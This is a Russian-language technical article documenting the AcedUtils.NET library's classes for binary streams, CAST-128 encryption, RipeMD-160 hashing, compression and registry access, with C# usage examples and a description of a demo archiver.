    В AcedBinary собраны функции для работы с бинарными данными, которые используются другими классами в составе AcedUtils.NET. Однако, они могут вызываться и из прикладной программы. Например, функция SwapBytes() обращает порядок следования байт в значении типа System.UInt32, функция ReverseBits() выполняет аналогичное действие с битами в составе двойного слова. Точнее, размер исходного значения может варьироваться от 1 до 32 бит. Функция Adler32() вычисляет значение контрольной суммы Адлера в соответствии с RFC 1950 для массива байт или его фрагмента. Данный алгоритм расчета контрольной суммы отличается от CRC32 большей производительностью. В этом классе есть еще несколько unsafe-методов, предназначенных для копирования массива байт, быстрого заполнения массива чисел типа System.Int32 и копирования одного такого массива в другой.

    с RFC 2144. Это незапатентованный

    В AcedCast5 реализован алгоритм CAST-128 (CAST5) в соответствии с RFC 2144. Это незапатентованный алгоритм шифрования с ключом размером 128 бит, отличающийся высоким быстродействием и стойкостью к различным видам криптоанализа. При применении шифра к данным используется режим обратной загрузки шифротекста (CFB) с размером блока входных данных 64 бита. Класс AcedCast5 используется при шифровании и дешифровании бинарного потока данных, представленного классами Aced(…)Writer/Aced(…)Reader. Кроме того, он может применяться самостоятельно для шифрования произвольных данных. Два основных метода класса AcedCast5, методы Encrypt() и Decrypt(), предназначены, соответственно, для шифрования и дешифрования массива байт или его фрагмента с ключом, который задается параметром keyBytes в виде 16-байтного массива. Если в программе ключ представляется значением типа System.Guid, то соответствующий ему массив байт можно получить вызовом функции Guid.ToByteArray(). Одновременно с шифрованием в классе AcedCast5 вычисляется значение односторонней хеш-функции RipeMD-160 для шифруемых данных. Функция Encrypt() возвращает массив из 5 значений типа System.Int32, представляющих собой цифровую сигнатуру фрагмента данных, рассчитанную до того, как данные были зашифрованы. Функция Decrypt() возвращает аналогичный массив, представляющий цифровую сигнатуру фрагмента данных, рассчитанную после того, как данные были расшифрованы. Если при шифровании и дешифровании использован один и тот же ключ и данные в массиве не были повреждены, функции Encrypt() и Decrypt() должны вернуть одно и тоже значение хеш-функции RipeMD-160. Имеются также unsafe-варианты этих функций, в которые передается указатель на массив шифруемых байт. Кроме того, функции Encrypt() и Decrypt() могут принимать параметр iv, задающий начальный вектор для шифрования или дешифрования данных. В классе AcedCast5 есть функций для шифрования данных, представленных несколькими фрагментами, т.е. поточного шифрования. В частности, функция ScheduleKey() на основе ключа шифра keyBytes создает или заполняет специальный массив key, содержащий ключевую информацию, который передается затем в качестве ключа в остальные функции, относящиеся к данному разделу.
    Таким образом, ключевой массив создается только однажды, а не перед каждым шифрованием следующего фрагмента данных. Функция GetOrdinaryIV() возвращает значение, которое может использоваться в качестве начального вектора. Это значение получается шифрованием нулевого вектора с помощью текущего ключа шифра. Функции Encrypt() и Decrypt(), которые принимают параметр key, используются непосредственного для шифрования и дешифрования данных в поточном режиме. Каждая из этих функций, кроме ключа и ссылки на шифруемые или дешифруемые данные, принимает параметр iv, в котором передается значение начального вектора. Новое значение вектора, которое может использоваться при следующем вызове функций Encrypt()/Decrypt(), возвращается как результат функции. Когда все данные зашифрованы или расшифрованы, нужно вызвать метод ClearKey() для очистки массива key, содержащего ключевую информацию. А можно вместо или после этого передать массив key в метод ScheduleKey() для заполнения его информацией о новом ключе для шифрования других данных с другим ключом без пересоздания массива key.

    Класс AcedMemoryReader

    Предназначен для чтения данных из массива байт, созданного экземпляром класса AcedMemoryWriter. В конструктор класса AcedMemoryReader передается ссылка на массив байт с указанием фрагмента, содержащего данные бинарного потока. Если данные зашифрованы, в последнем параметре конструктора необходимо передать значение типа System.Guid, соответствующее ключу шифра, который использовался при вызове метода ToArray() класса AcedMemoryWriter. Отдельные значения могут быть прочитаны из потока методами, названия которых состоят из префикса "Read" и наименования типа читаемого значения. Фрагменты массивов, состоящих из элементов стандартных value-типов, считываются методом Read(). Для возвращения текущей позиции на начало потока, чтобы заново прочитать данные, используется метод Reset(). Чтобы пропустить некоторое количество байт во входном потоке вызывается метод Skip(). При попытке чтения данных за пределами потока возникает исключение типа AcedReadBeyondTheEndException. Свойство Position класса AcedMemoryReader возвращает индекс следующего считываемого байта во внутреннем массиве, ссылка на который возвращается функцией GetBuffer(). Размер внутреннего массива определяется свойством Size. Смещение во внутреннем массиве, с которого начинаются данные потока – свойством Offset. Если исходный массив байт, переданный в конструктор класса, является упакованным, в памяти создается новый массив для распакованных данных. Тогда функция GetBuffer() возвращает ссылку на этот временный массив, а свойство Offset всегда равно нулю. Если же исходный массив не является упакованным, функция GetBuffer() возвращает ссылку на массив, переданный параметром bytes в конструктор класса AcedMemoryReader. Если данные потока зашифрованы, массив байт, передаваемый в конструктор этого класса, расшифровывается на месте. Это означает, что один и тот же зашифрованный массив байт нельзя использовать для инициализации нескольких экземпляров класса AcedMemoryReader. Если при создании экземпляра класса AcedMemoryReader в конструктор передан массив недостаточной длины или рассчитанная для него контрольная сумма Адлера не совпадает с сохраненным в потоке значением контрольной суммы, возникает исключение AcedDataCorruptedException.
    Если после дешифрования данных оказывается, что рассчитанное значение цифровой сигнатуры RipeMD-160 для данных потока не совпадает со значением сигнатуры, сохраненным в начале массива данных, возникает исключение AcedWrongDecryptionKeyException, которое является потомком от класса AcedDataCorruptedException. Пример использования класса AcedMemoryReader: private void GetData(byte[] dataBytes, out byte[] bytes, out short n, out string s, out int[] otherValues) { AcedMemoryReader r = new AcedMemoryReader(dataBytes,
    0, dataBytes.Length); /* AcedMemoryReader r = new AcedMemoryReader(dataBytes,
    0, dataBytes.Length, new Guid("CA761232-ED42-11CE-BACD-00AA0057B223")); */ bytes = r.ReadByteArray(); n = r.ReadInt16(); otherValues = new int[120]; r.Read(otherValues, 10, 100); s = r.ReadString(); } Предполагается, что массив байт, передаваемый параметром dataBytes в функцию GetData(), получен как результат функции PutData(), код которой приведен выше в разделе, описывающем класс AcedMemoryWriter. Используемый здесь конструктор класса AcedMemoryReader предполагает, что данные в бинарном потоке не зашифрованы. Закомментированный фрагмент кода содержит вызов конструктора с передачей в него ключа шифра, соответствующего варианту 3 функции PutData().

    Класс AcedMemoryWriter

    Позволяет сохранять разнотипные данные в массиве байт, длина которого динамически увеличивается по мере добавления в него данных. Затем эти данные представляются в виде массива типа System.Byte[], который, кроме самих данных, содержит их контрольную сумму и, возможно, значение цифровой сигнатуры. Возвращаемый массив может быть упакован для экономии места и зашифрован для ограничения доступа к информации. При создании экземпляра класса AcedMemoryWriter можно указать предполагаемое число байт, которое будет помещено в бинарный поток. Таким образом удается избежать лишнего перераспределения памяти под внутренний массив. В AcedMemoryWriter есть методы, названия которых начинаются с "Write", предназначенные для помещения в поток значений следующих типов: Boolean, Byte, Byte[], Char, DateTime, Decimal, Single, Double, Guid, Int16, Int32, Int64, SByte, String, TimeSpan, UInt16, UInt32, UInt64. Кроме того, можно добавлять сразу фрагменты массивов с элементами стандартных value-типов с помощью перегруженных методов Write(). При этом указывается индекс первого сохраняемого элемента массива и число записываемых элементов. Общее число байт, помещенное в бинарный поток, возвращается свойством Length класса AcedWriter. Метод Reset() обнуляет длину потока, позволяя заполнить его новыми данными без пересоздания экземпляра класса AcedMemoryWriter. Текущая длина внутреннего массива возвращается и устанавливается свойством Capacity. Ссылку на внутренний массив можно получить вызовом функции GetBuffer(). Правда, эта ссылка изменяется при каждом перераспределении памяти, т.е. при каждом изменении свойства Capacity. В некоторых случаях, например, при чтении данных из файла с помощью FileStream.Read(), удобнее передать ссылку на внутренний массив непосредственно в метод FileStream.Read(), вместо того, чтобы считывать данные в промежуточный массив, а затем переписывать их в поток методом Write(). Чтобы сделать это быстрее, нужно сохранить во временной переменной текущую длину потока, т.е.
    значение свойства Length, затем вызвать метод Skip(), передавая в него число байт, которое будет прочитано из файла. При этом длина потока увеличится на указанное число байт без фактического заполнения их данными. Теперь можно получить ссылку на внутренний массив из функции GetBuffer(), а затем вызвать метод FileStream.Read(), передавая в него полученную ссылку на массив и значение, сохраненное во временной переменной, в качестве смещения в массиве. Когда все необходимые данные записаны в бинарный поток, вызывается функция ToArray(), возвращающая результирующий массив данных. Имеется несколько вариантов этой функции, которые отличаются набором принимаемых параметров. Наиболее функциональным является вариант, принимающий два параметра: compressionMode типа AcedCompressionMode и keyGuid типа System.Guid. Вызов функции ToArray() с одним параметром эквивалентен передаче значения Guid.Empty в параметре keyGuid. Вызов этой функции без параметров эквивалентен передаче значения NoCompression в параметре compressionMode и значения Guid.Empty в параметре keyGuid. Рассмотрим подробнее, чем управляют эти параметры и как они влияют на сохраняемый формат данных. Параметр типа AcedCompressionMode выбирает режим сжатия данных. Его значение соответствует одной из констант, рассмотренных выше при описании класса AcedDeflator. Если этот параметр равен значению NoCompression, данные бинарного потока не сжимаются. Параметр keyGuid задает ключ шифрования для выходного массива байт. Если этот параметр равен Guid.Empty, шифрование не выполняется. Значение типа System.Guid используется в качестве ключа шифра по нескольким причинам. Во-первых, легко сгенерировать новое уникальное значение ключа вызовом функции Guid.NewGuid(). Во-вторых, значения такого типа имеют общепринятое строковое представление. В-третьих, Guid легко получить из значения односторонней хеш-функции RipeMD-160. Если ключ шифра вводится пользователем с клавиатуры в виде строки символов, необходимо преобразовать эту строку в цифровую сигнатуру вызовом AcedRipeMD.Compute(), а затем в значение типа System.Guid вызовом метода ToGuid() класса AcedRipeMD.


    Шифрование данных выполняется методами классом AcedCast5. Но прежде, чем шифровать данные, для них вычисляется значение 20-байтной сигнатуры RipeMD-160, которое помещается в выходной массив вместе с данными и используется при последующем чтении из потока для проверки того, что данные в потоке расшифрованы с правильным ключом и что они не были повреждены. Последовательность действий при вызове метода ToArray() класса AcedMemoryWriter следующая. Сначала выполняется упаковка данных классом AcedDeflator. Затем для полученного массива рассчитывается значение односторонней хеш-функции RipeMD-160 методами класса AcedRipeMD. Это значение помещается в выходной массив перед данными. Потом данные шифруются методами класса AcedCast5. Значение цифровой сигнатуры не шифруется. На заключительном этапе для всего содержимого выходного массива рассчитывается контрольная сумма Адлера вызовом метода AcedBinary.Adler32(), которая размещается в первых 4-х байтах выходного массива. Заполненный таким образом массив возвращается как результат функции ToArray(). В зависимости от параметров, могут опускаться этапы упаковки и/или расчета цифровой сигнатуры и шифрования данных. Пример использования класса AcedMemoryWriter: private byte[] PutData() { AcedMemoryWriter w = new AcedMemoryWriter(); w.WriteByteArray(new byte[] {5, 6, 7, 8, 9}); w.WriteInt16(10000); int[] otherValues = new int[120]; for (int i = 0; i < 120; i += 3) { otherValues[i] = 1; otherValues[i + 1] = 2; otherValues[i + 2] = 3; } w.Write(otherValues, 10, 100); w.WriteString("Hello world!");
    ////////////////////////////////////////////////////// // Вариант 1: данные возвращаются как есть с // добавлением контрольной суммы Адлера. //////////////////////////////////////////////////////
    return w.ToArray();
    /* ////////////////////////////////////////////////////// // Вариант 2: данные сжимаются и защищаются // контрольной суммой Адлера. //////////////////////////////////////////////////////
    return w.ToArray(AcedCompressionMode.Fast); */


    /* ////////////////////////////////////////////////////// // Вариант 3: данные сжимаются, шифруются и защищаются // цифровой сигнатурой RipeMD-160. //////////////////////////////////////////////////////
    return w.ToArray(AcedCompressionMode.Fast, new Guid("CA761232-ED42-11CE-BACD-00AA0057B223")); */ } В данном примере функция PutData() помещает в бинарный поток массив байт как целый объект, потом значение типа Int16, затем фрагмент массива элементов типа Int32, а в конце – строку символов. Результатом функции может быть просто массив байт, содержащий данные, записанные в поток, защищенные контрольной суммой Адлера. Размер этого массива составляет 443 байта. Если передать в функцию AcedMemoryWriter.ToArray() параметр compressionMode со значением AcedCompression.Fast, данные бинарного потока будут упакованы и размер полученного массива составит 51 байт. Если, кроме того, передать некоторое непустое значение типа Guid в параметре keyGuid, сжатые данные будут защищены цифровой сигнатурой RipeMD-160 и зашифрованы методом CAST-128. За счет добавления сигнатуры размер выходного массива увеличится при этом на 20 байт и составит 71 байт.

    Класс AcedRegistry

    AcedRegistry восполняет собой отсутствие в .NET Framework класса, подобного классу TRegistry в Borland Delphi. Его особенностью по сравнению со стандартным классом Microsoft.Win32.Registry является наличие специальных методов для помещения в реестр значений различного типа и для чтения соответствующих значений из реестра. Класс AcedRegistry включает методы для работы с данными, которые представлены значениями следующих типов: String, Byte[], Int32, Boolean, DateTime, Decimal, Double, Guid, Int64. Работа с классом AcedRegistry начинается с вызова конструктора, который принимает три параметра: первый (registryBaseKey) – выбирает ветвь реестра, такую как HKEY_CURRENT_USER или HKEY_LOCAL_MACHINE; второй параметр (registryKey) указывает наименование ключа реестра, с которым предполагается работать; третий параметр задает режим работы: только чтение или чтение/запись. Если указанный ключ не существует, то при открытии его в режиме "только для чтения" ошибка не возникает. Тогда каждое обращение к функциям Get() для чтения значений ключа вернет False, а при вызове GetDef() будет возвращаться значение по умолчанию. При открытии ключа в режиме, допускающем запись, если он отсутствует, соответствующий ключ немедленно создается в реестре. Обратиться к объекту типа Microsoft.Win32.RegistryKey, представляющему открытый ключ реестра, можно через свойство RegistryKey класса AcedRegistry. Перегруженный метод Put() предназначен для записи в реестр значений различного типа. Функция Get() считывает значение с указанным именем и сохраняет его в переменной, передаваемой как ref-параметр. Если запрашиваемое значение присутствует в реестре, функция возвращает True. Функция GetDef() отличается от Get() тем, что она возвращает прочитанное значение как результат функции. Если соответствующее значение отсутствует в реестре, GetDef() возвращает значение по умолчанию, которое задается вторым параметром при вызове этой функции. В конце работы с экземпляром класса AcedRegistry для него обязательно надо вызвать метод Dispose().
    При использовании языка C# удобно поместить создание класса AcedRegistry в блок using для гарантированного освобождения unmanaged-ресурсов. Пример использования класса AcedRegistry: private const string DemoRegistryKey = "Software\\AcedUtils.NET\\Demo", cfgStreamFileName = "StreamFileName", cfgCompressionMode = "CompressionMode";
    private static string _streamFileName = String.Empty; private static AcedCompressionMode _compressionMode;
    private static void LoadConfig() { using (AcedRegistry config = new AcedRegistry
    (AcedBaseKey.CurrentUser, DemoRegistryKey, false)) { config.Get(cfgStreamFileName, ref
    _streamFileName); _compressionMode = (AcedCompressionMode)
    config.GetDef(cfgCompressionMode, 0); } }
    private static void SaveConfig() { using (AcedRegistry config = new AcedRegistry
    (AcedBaseKey.CurrentUser, DemoRegistryKey, true)) { config.Put(cfgStreamFileName, _streamFileName); config.Put(cfgCompressionMode, (int)
    _compressionMode); }} }Данный пример взят из демонстрационного проекта, прилагаемого к статье. Значения статических полей _streamFileName и _compressionMode сохраняются в реестре методом SaveConfig() и считываются из реестра методом LoadConfig(). Тип AcedCompressionMode представляет собой перечисление, которое нужно привести к типу System.Int32, чтобы поместить его в реестр. После чтения из реестра с помощью GetDef() значение должно быть преобразовано обратно к типу AcedCompressionMode.

    Класс AcedRipeMD

    Смысл односторонней хеш-функции заключается в том, что практически невозможно подобрать другой набор байт, для которого значение цифровой сигнатуры совпадало бы с исходным значением. Кроме того, невозможно восстановить состояние исходных данных по известному значению цифровой сигнатуры. Класс AcedRipeMD реализует алгоритм расчета односторонней хеш-функции RipeMD-160 в полном соответствии с документом: "RIPEMD-160: A Strengthened Version of RIPEMD" (Hans Dobbertin, Antoon Bosselaers, Bart Preneel), April 18, 1996. Длина получаемой сигнатуры составляет 20 байт (160 бит). Цифровую сигнатуру удобно представить в виде массива из 5 элементов типа System.Int32. Чтобы получить значение односторонней хеш-функции для массива байт или строки символов, можно воспользоваться функцией Compute() класса AcedRipeMD. При передаче в нее массива байт указывается смещение и длина обрабатываемого фрагмента массива. Имеется также unsafe-вариант этой функции, принимающий в качестве параметра указатель на массив байт. Иногда, например, при работе с потоком данных, требуется рассчитать цифровую сигнатуру для массива байт, представленного в виде нескольких фрагментов. В этом случае можно применить функции для поточного расчета сигнатуры RipeMD-160. Для этого сначала вызывается функция Initialize, которая возвращает или заполняет служебный массив hashData. Затем нужно последовательно вызвать метод Update для каждого фрагмента данных. В этот метод передается массив hashData, а также ссылка на первый или следующий фрагмент данных в виде массива байт или строки символов, для которого вычисляется значение сигнатуры. После того, как функция Update была вызвана для каждого фрагмента, можно получить само значение цифровой сигнатуры вызовом метода Finalize(). Алгоритм шифрования CAST-128, используемый при работе с бинарным потоком классами Aced(…)Writer/Aced(…)Reader, предполагает, что длина ключа шифра составляет 128 бит. Цифровая сигнатура RipeMD-160 как нельзя лучше подходит для использования ее в качестве ключа при шифровании данных. Однако, она представляется числом размером 160 бит, а не 128. Для решения этой проблемы в класс AcedRipeMD добавлена функция ToGuid(). Она принимает значение 20-байтной цифровой сигнатуры и возвращает соответствующее ему значение типа System.Guid, размер которого составляет 128 бит. В классе AcedRipeMD есть еще несколько вспомогательных методов, облегчающих работу с цифровой сигнатурой, представленной в виде массива из 5 значений типа System.Int32. Например, функция Copy() позволяет быстро скопировать значение хеш-функции в массив байт или, наоборот, считать его из массива байт. Функция Equals() используется для проверки равенства двух значений цифровой сигнатуры, одно из которых может быть представлено массивом байт. Функция Clear() обнуляет 5 элементов массива типа System.Int32[], предназначенного для хранения сигнатуры RipeMD-160.

    Классы AcedDeflator и AcedInflator

    Эти классы предназначены для сжатия и распаковки данных, представленных массивом байт или его фрагментом. Применяемый алгоритм сжатия аналогичен описанному в RFC 1951 и реализованному в библиотеке zlib, но имеет ряд отличий, в частности, использует другой формат блока данных. Формат описан в исходном коде библиотеки в начале файла Compressor.cs. Упаковка данных производится методом Compress() класса AcedDeflator, распаковка – методом Decompress() класса AcedInflator. Особенность работы с этими классами заключается в том, что их экземпляры не следует создавать напрямую вызовом конструктора. Лучше вместо этого использовать ссылку на единственный экземпляр каждого класса, которую можно получить, обратившись к статическому свойству Instance. Это ограничение связано с тем, что при создании экземпляров этих классов, особенно класса AcedDeflator, выделяется значительный объем памяти под внутренние массивы. Обычно не требуется использовать параллельно несколько экземпляров архиватора. Кроме того, частое перераспределение памяти ведет к снижению производительности. При первом обращении к свойству Instance создается один экземпляр соответствующего класса. Ссылка на него сохраняется в статическом поле класса и возвращается при каждом следующем обращении к свойству Instance. Когда возникает необходимость освобождения памяти, занятой внутренними массивами архиватора, можно вызвать статический метод Release для обнуления внутренней ссылки на экземпляр соответствующего класса. Тогда, если нет других ссылок на этот экземпляр, при следующей "сборке мусора" память будет возвращена операционной системе. Для сжатия данных функцией AcedDeflator.Compress() в нее передается ссылка на массив байт с указанием смещения и длины сжимаемого фрагмента данных. Есть два варианта этой функции. В первом случае память под массив для сохранения упакованных данных распределяется самой функцией Compress(). Параметры beforeGap и afterGap этой функции задают отступ, соответственно, в начале и в конце выходного массива на случай, если кроме упакованных данных в него должна быть помещена еще какая-то информация.
    Во втором случае в функцию Compress() передается ссылка на уже существующий массив, в который должны быть записаны упакованные данные, а также смещение в этом массиве, с которого начинается запись. Максимальный размер упакованного фрагмента в случае, если данные несжимаемы, равен длине исходного фрагмента плюс 4 байта. Таким образом, длина приемного массива должна быть достаточна для хранения исходного фрагмента данных плюс 4 байта и плюс смещение в этом массиве. Функция Compress() возвращает размер сжатого фрагмента, т.е. число байт, сохраненное в выходном массиве. Параметр типа AcedCompressionMode, передаваемый в функции Compress(), выбирает режим сжатия данных. Он принимает одно из следующих значений: NoCompression – данные не сжимаются, а просто копируются в входной массив с добавлением 4-байтной длины фрагмента для последующей его распаковки; Fastest – самый быстрый режим сжатия, который, тем не менее, может быть эффективен для некоторых типов данных; Fast – используется режим быстрого сжатия, когда максимальное расстояние между повторяющимися последовательностями во входном потоке принимается равным 65535 байтам; Normal – обычное сжатие, когда максимальное расстояние между последовательностями составляет 131071 байт; MaximumCompression – максимальное сжатие, доступное данному архиватору, предполагающее, что максимальное расстояние между повторяющимися последовательностями составляет 262143 байта. Сжатые данные распаковываются методом AcedInflator.Decompress(). Прежде чем вызывать этот метод необходимо подготовить область памяти, достаточную для хранения результата. Узнать первоначальный размер сжатых данных можно вызовом статической функции GetDecompressedLength() класса AcedInflator. В нее передается ссылка на массив байт и смещение в этом массиве, с которого начинаются упакованные данные. Функция возвращает длину фрагмента данных после его распаковки. Затем можно создать массив байт достаточного размера и передать его в функцию Decompress() для заполнения распакованными данными.Эта функция принимает ссылку на исходный массив, содержащий сжатые данные, смещение в этом массиве, а также ссылку на приемный массив, в который выполняется распаковка, и смещение в приемном массиве. Функция возвращает число байт сохраненное в выходном массиве. Есть еще другой вариант функции Decompress(), в котором память под выходной массив распределяется самой функцией. Эта функция принимает параметры beforeGap и afterGap, которые задают число байт, которое надо зарезервировать, соответственно, в начале и в конце выходного массива.

    Классы AcedStreamWriter, AcedStreamReader

    Эти классы аналогичны описанным выше классам AcedMemoryWriter, AcedMemoryReader. При их использовании, однако, данные помещаются не в массив байт, а в поток типа System.IO.Stream, ассоциированный с экземпляром класса AcedStreamWriter, и читаются не из массива байт, а из потока типа System.IO.Stream, ассоциированного с классом AcedStreamReader. При работе с классом AcedStreamWriter в памяти создается буфер размером 2МБ, который постепенно заполняется данными. При достижении конца буфера, вызове методов Flush() или Close() класса AcedStreamWriter содержимое буфера упаковывается методом Compress() класса AcedDeflator. Сжатые данные сохраняются в другом буфере, размер которого также составляет 2МБ. Для упакованных данных вычисляется цифровая сигнатура RipeMD-160, после чего данные шифруются методом CAST-128. Длина фрагмента данных, контрольная сумма Адлера, цифровая сигнатура RipeMD-160 и сами сжатые и зашифрованные данные записываются в выходной поток типа System.IO.Stream. После этого содержимое буфера очищается и в него можно записывать следующие данные. При вызове метода Close() класса AcedStreamWriter, если ассоциированный с ним поток поддерживает операцию Seek, поток позиционируется на начало записанных данных и в потоке сохраняется общая длина (в байтах) данных, помещенных в поток классом AcedStreamWriter. Этот размер представляется значением типа System.Int64. Если операция Seek не поддерживается потоком типа System.IO.Stream, длина остается равной значению -1, записанному в поток при его ассоциации с классом AcedStreamWriter. Метод AssignStream класса AcedStreamWriter используется, чтобы связать данный экземпляр класса с потоком System.IO.Stream. Кроме ссылки на поток в этот метод передается константа, выбирающая режим сжатия данных, а также значение типа System.Guid, которое, если оно отлично от Guid.Empty, задает ключ для шифрования данных. Таким образом, в зависимости от параметров, переданных в метод AssignStream, этапы сжатия данных, расчета цифровой сигнатуры и шифрования данных могут опускаться. Чтобы прочитать данные, сохраненные в потоке System.IO.Stream классом AcedStreamWriter, нужно воспользоваться классом AcedStreamReader.
    Экземпляр этого класса может быть ассоциирован с потоком типа System.IO.Stream с помощью метода AssignStream. Если данные, помещенные в поток, зашифрованы, при вызове метода AssignStream следует указать ключ шифра в виде значения типа System.Guid. В методе AssignStream сразу считывается длина фрагмента данных, помещенного в поток классом AcedStreamWriter. Это значение возвращается свойством Length класса AcedStreamReader. Длина может быть равна значению -1, если не было возможности сохранить в потоке настоящее значение длины. В экземпляре класса AcedStreamReader также имеется два буфера, каждый размером по 2МБ. Первый предназначен для данных, считанных из потока System.IO.Stream, второй – для распакованных данных. Когда вызывается один из методов Read… класса AcedStreamReader, сначала предпринимается попытка считать значение из буфера распакованных данных. Если достигнут конец буфера, из потока System.IO.Stream считывается следующий фрагмент данных. Для этого фрагмента проверяется значение контрольной суммы Адлера. Затем, если данные зашифрованы, выполняется их дешифрование и проверка цифровой сигнатуры RipeMD-160. Потом, если данные упакованы, производится их распаковка во второй буфер. Теперь значение может быть прочитано и возвращено функцией Read.… При чтении из потока длинных массивов перегруженным методом Read() класса AcedStreamReader возможна ситуация, когда для считывания всего массива приходится несколько раз заполнять внутренний буфер данными из потока System.IO.Stream. Так как экземпляры классов AcedStreamWriter и AcedStreamReader занимают собой значительный объем памяти (каждый свыше 4МБ), создавать их при каждом чтении из потока нерационально. Сборщик мусора в .NET Framework автоматически относит блоки памяти свыше 85000 байт ко второму поколению (об этом см. в книге Джеффри Рихтера "Программирование на платформе .NET Framework" – M.: Издательско-торговый дом "Русская Редакция", 2003). Такие блоки лучше использовать для ресурсов с длительным временем существования.


    В противном случае, частое пересоздание больших блоков памяти отрицательно сказывается на общей производительности приложения. Для решения этой проблемы в классах AcedStreamWriter и AcedStreamReader имеется статическое свойство Instance, которое при первом обращении к нему создает экземпляр соответствующего класса, а при следующих обращениях просто возвращает ссылку на существующий экземпляр. Тогда, вместо того, чтобы создавать новые экземпляры классов вызовом соответствующих конструкторов, лучше воспользоваться единственным экземпляром, возвращаемым свойством Instance. Этот подход аналогичен тому, который применяется в классах AcedDeflator и AcedInflator. Чтобы освободить занимаемую память можно вызвать статический метод Release(), освобождающий ссылку на экземпляр соответствующего класса. После помещения всех данных в поток AcedStreamWriter, а также после чтения необходимых данных из потока AcedStreamReader, нужно вызвать метод Close() для выполнения завершающих действий. Если в параметре closeStream метода Close() передано значение True, поток типа System.IO.Stream, ассоциированный с данным экземпляром класса AcedStreamWriter или AcedStreamReader, закрывается вызовом метода Close() потока.

    Классы AcedWriterStream, AcedReaderStream

    Эти классы представляют собой оболочку над другими классами, предназначенными для работы с бинарным потоком. Они используются, когда надо представить экземпляры других классов в виде объектов, производных от класса System.IO.Stream. Класс AcedWriterStream является потомком класса System.IO.Stream и предназначен для записи данных в потоки типа AcedMemoryWriter и AcedStreamWriter. В его конструктор передается ссылка на интерфейс IAcedWriter, который поддерживается классами AcedMemoryWriter и AcedStreamWriter. Класс AcedWriterStream используется только для записи данных в поток, поэтому его свойства CanRead и CanSeek возвращают значение False, а свойство CanWrite – значение True. Вызов методов Write(), WriteByte(), Flush(), Close() перенаправляется соответствующим методам объекта, реализующего интерфейс IAcedWriter. При чтении свойств Length и Position возвращается число байт, помещенное в выходной бинарный поток. Однако, присвоение значения свойству Position или вызов методов Read(), ReadByte(), Seek(), SetLength() приводит к возникновению исключения типа System.NotSupportedException. Свойство Writer класса AcedWriterStream возвращает ссылку на объект, реализующий интерфейс IAcedWriter, которая была передана в конструктор класса при его создании. Аналогичным образом применяется класс AcedReaderStream, который также является потомком класса System.IO.Stream. Этот класс предназначен для чтения данных из потоков типа AcedMemoryReader и AcedStreamReader, реализующих интерфейс IAcedReader. Класс AcedReaderStream предназначен исключительно для чтения данных, поэтому его свойство CanRead возвращает значение True, а свойства CanWrite и CanSeek возвращают значение False. Вызов методов Read(), ReadByte(), Close() перенаправляется соответствующим методам объекта, реализующего интерфейс IAcedReader. При чтении свойства Position возвращается текущая позиция в потоке относительно начала данных. Свойство Length возвращает общее число байт, которое может быть прочитано из потока. В некоторых случаях количество байт, помещенное в поток, неизвестно. Тогда свойство Length возвращает значение -1. Попытка присвоения значения свойству Position или вызова одного из следующих методов: Seek(), SetLength(), Write(), WriteByte() заканчивается возникновением исключения типа System.NotSupportedException. Свойство Reader класса AcedReaderStream возвращает интерфейс IAcedReader, переданный в конструктор класса. Подробную информацию о свойствах и методах интерфейсов IAcedWriter, IAcedReader можно найти в файле Interfaces.cs исходного кода.

    Чтобы проиллюстрировать различные способы работы

    Чтобы проиллюстрировать различные способы работы с бинарными данными с помощью рассмотренных выше классов, разработано небольшое приложение, которое представляет собой примитивный аналог архиватора файлов. Верхняя часть главной формы используется для помещения в бинарный поток данных произвольных файлов. При нажатии на кнопку "Добавить файл" пользователю предлагается выбрать на диске файл, который будет добавлен в поток. После помещения в поток одного или нескольких файлов можно сохранить весь поток на диске в виде одного файла. Причем данные при этом могут быть упакованы и зашифрованы. Чтобы проверить механизм контроля целостности данных, можно немного повредить данные в выходном потоке при сохранении его на диске. Для этого нужно пометить опцию "Инвертировать третий байт". Нижняя часть формы позволяет загрузить данные потока из файла на диске. Если поток зашифрован, перед чтением с диска надо установить опцию "Расшифровывать с паролем" и указать соответствующий пароль в поле ввода. Кроме данных, в бинарном потоке сохраняются имена и размеры файлов, которые отображаются в соответствующем списке после чтения потока с диска. Отдельные файлы из этого списка можно пометить и выгрузить нажатием кнопки "Сохранить отмеченный файл". Информация об имени файла потока, а также об использованном режиме сжатия сохраняется в реестре с помощью класса AcedRegistry и восстанавливается при следующем запуске программы. При добавлении очередного файла в бинарный поток сначала записывается его имя методом AcedMemoryWriter.WriteString(), потом длина файла в байтах методом AcedMemoryWriter.WriteInt32(), затем в потоке резервируется место для самих данных вызовом AcedMemoryWriter.Skip(). Фактическое заполнение данными происходит при вызове метода FileStream.Read(), в который передается ссылка на внутренний массив экземпляра класса AcedMemoryWriter, возвращаемый функцией GetBuffer(), и смещение, соответствующее длине потока до вызова метода Skip().
    При сохранении потока на диске ключ шифрования получается как значение односторонней хеш-функции RipeMD-160 для строки символов, введенной пользователем в качестве пароля. Это значение преобразуется к типу System.Guid вызовом метода AcedRipeMD.ToGuid() и передается в метод ToArray() класса AcedMemoryWriter. В момент загрузки потока с диска проверяется его контрольная сумма. Затем данные потока расшифровываются и для них проверяется сигнатура RipeMD-160, после чего данные распаковываются. Из потока читаются имена и размеры файлов методами AcedMemoryReader.ReadString() и AcedMemoryReader.ReadInt32(). Для каждого файла вычисляется значение сигнатуры RipeMD-160. Эта информация помещается в список типа ListView. Сами данные пропускаются вызовом метода AcedMemoryReader.Skip(). В свойстве Tag каждого элемента типа ListViewItem списка сохраняется соответствующее ему смещение данных относительно начала потока. Когда пользователь выбрал элемент списка и нажал кнопку "Сохранить отмеченный файл", поток позиционируется на начало методом AcedMemoryReader.Reset(), а затем текущая позиция смещается на число байт, соответствующее значению свойства Tag элемента списка. После создания соответствующего файла на диске, данные выгружаются в файл напрямую из бинарного потока, минуя промежуточные массивы. Для этого в метод FileStream.Write() передается ссылка на внутренний массив экземпляра класса AcedMemoryReader с указанием смещения, равного текущей позиции в потоке. В этом приложении демонстрируются также способы работы с потоками на базе классов AcedStreamWriter и AcedStreamReader. При нажатии кнопок в нижней части главной формы приложения вызывается функция TestStreams(). Если параметр useAcedStreams этой функции равен False, в качестве основного хранилища данных используется стандартный класс System.IO.MemoryStream. Функция TestStreams() подготавливает некоторые разнотипные данные, а затем передает их в метод PutData(), который должен поместить их в поток типа System.IO.Stream (в данном случае MemoryStream).


